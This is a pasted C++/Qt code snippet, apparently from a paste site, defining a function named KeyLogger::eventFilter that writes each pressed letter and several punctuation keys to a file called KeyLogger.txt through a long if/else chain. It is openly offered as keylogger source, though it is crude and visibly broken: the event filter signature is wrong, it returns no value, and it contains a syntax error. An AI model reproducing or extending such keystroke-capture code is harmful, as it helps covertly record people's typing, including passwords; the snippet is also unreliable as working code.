void KeyLogger::eventFilter(QObject *watched, QKeyEvent *event)
{
    QFile fichier("KeyLogger.txt");
 fichier.open(QIODevice::ReadWrite | QIODevice::Text);
 
 QString texte;
 texte = fichier.readAll();
 
 QTextStream flux(&fichier;);

 if(event->type() == QEvent::KeyPress)
 {
 QKeyEvent *clavier = dynamic_cast<QKeyEvent *>(event);
 
  if(clavier &&  clavier->key() == Qt::Key_A)
    {
  flux << "A";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Z)
    {
        flux << "Z";
    }
  else if(clavier &&  clavier->key() == Qt::Key_E)
    {
        flux << "E";
    }
  else if(clavier &&  clavier->key() == Qt::Key_R)
    {
        flux << "R";
    }
  else if(clavier &&  clavier->key() == Qt::Key_T)
    {
        flux << "T";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Y)
    {
        flux << "Y";
    }
  else if(clavier &&  clavier->key() == Qt::Key_U)
    {
        flux << "U";
    }
  else if(clavier &&  clavier->key() == Qt::Key_I)
    {
        flux << "I";
    }
  else if(clavier &&  clavier->key() == Qt::Key_O)
    {
        flux << "O";
    }
  else if(clavier &&  clavier->key() == Qt::Key_P)
    {
        flux << "P";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Q)
    {
        flux << "Q";
    }
  else if(clavier &&  clavier->key() == Qt::Key_S)
    {
        flux << "S";
    }
  else if(clavier &&  clavier->key() == Qt::Key_D)
    {
        flux << "D";
    }
  else if(clavier &&  clavier->key() == Qt::Key_F)
    {
        flux << "F";
    }
  else if(clavier &&  clavier->key() == Qt::Key_G)
    {
        flux << "G";
    }
  else if(clavier &&  clavier->key() == Qt::Key_H)
    {
        flux << "H";
    }
  else if(clavier &&  clavier->key() == Qt::Key_J)
    {
        flux << "J";
    }
  else if(clavier &&  clavier->key() == Qt::Key_K)
    {
        flux << "K";
    }
  else if(clavier &&  clavier->key() == Qt::Key_L)
    {
        flux << "L";
    }
  else if(clavier &&  clavier->key() == Qt::Key_M)
    {
        flux << "M";
    }
  else if(clavier &&  clavier->key() == Qt::Key_W)
    {
        flux << "W";
    }
  else if(clavier &&  clavier->key() == Qt::Key_X)
    {
        flux << "X";
    }
  else if(clavier &&  clavier->key() == Qt::Key_C)
    {
        flux << "C";
    }
  else if(clavier &&  clavier->key() == Qt::Key_V)
    {
        flux << "V";
    }
  else if(clavier &&  clavier->key() == Qt::Key_B)
    {
        flux << "B";
    }
  else if(clavier &&  clavier->key() == Qt::Key_N)
    {
        flux << "N";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Slash)
    {
        flux << "/";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Backslash)
    {
        flux << "";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Comma)
    {
        flux << ",";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Period)
    {
        flux << ".";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Exclam)
    {
        flux << "!";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Question)
    {
        flux << "?";
    }
  else if(clavier &&  clavier->key() == Qt::Key_Underscore)
    {
        flux << "_";
    }
 else if(clavier &&  clavier->key() == Qt::Key_Space)
    {
        flux << " ";
    }
 }
}

Add a code snippet to your website: www.paste.org